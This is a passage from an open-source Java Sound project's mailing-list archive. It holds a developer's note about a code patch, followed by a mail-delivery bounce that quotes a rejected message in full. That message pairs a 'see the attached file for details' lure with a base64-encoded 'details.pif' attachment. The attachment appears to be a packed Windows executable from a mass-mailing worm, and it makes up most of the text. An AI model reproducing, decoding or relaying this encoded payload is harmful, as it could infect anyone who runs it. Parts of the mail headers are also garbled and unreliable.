floatSampleBuffer.setSampleRate(audioFormat.getSampleRate());
floatSampleBuffer.setChannelCount(audioFormat.getChannels());
byte[] audioBytes =
& floatSampleBuffer.convertToByteArray(getAudioFormat());
& ..you guys had pretty much everything in there, but I had to add a few
& setters. So I thought I might attach a "cvs diff -u"-patch, just in case you
& think this could be worth merging into your great project.
& thanks for running tritonus,
Florian Bomers
& Freeware and Shareware for musicians and developers
& Open source Java Sound implementation and plug-ins
& The Java Sound Resources
-----------------------------------------------------
Please quote this email in your reply so that I know
what you refer to. Most email programs quote auto-
matically when using the Reply button.
This message was created automatically by mail delivery software.
A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:
This message has been rejected because it has
a potentially executable attachment "details.pif"
This form of attachment has been used by
recent viruses or other malware.
If you meant to send this file then please
package it up as a zip file and resend it.
------ This is a copy of the message, including all the headers. ------
Return-path: &tritonus-devel@...&
Received: from [212.145.201.128] (helo=AFRICA4)
with esmtp (Exim 4.20)
id 19uG2H-0008Av-2G
for info@...; Tue, 02 Sep :49 -0400
From: &tritonus-devel@...&
To: &info@...&
Subject: Re: Details
Date: Tue, 2 Sep :49 +0200
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/
boundary="_NextPart_000_000FE4B3"
Message-Id: &E19uG2H-0008Av-2G@...&
This is a multipart message in MIME format
--_NextPart_000_000FE4B3
Content-Type: text/
charset="iso-;
Content-Transfer-Encoding: 7bit
Please see the attached file for details.
--_NextPart_000_000FE4B3
Content-Type: application/octet-
name="details.pif"
Content-Transfer-Encoding: base64
Content-Disposition:
filename="details.pif"
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em
nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA
TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA
AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA
AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu
c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS
AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA
AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
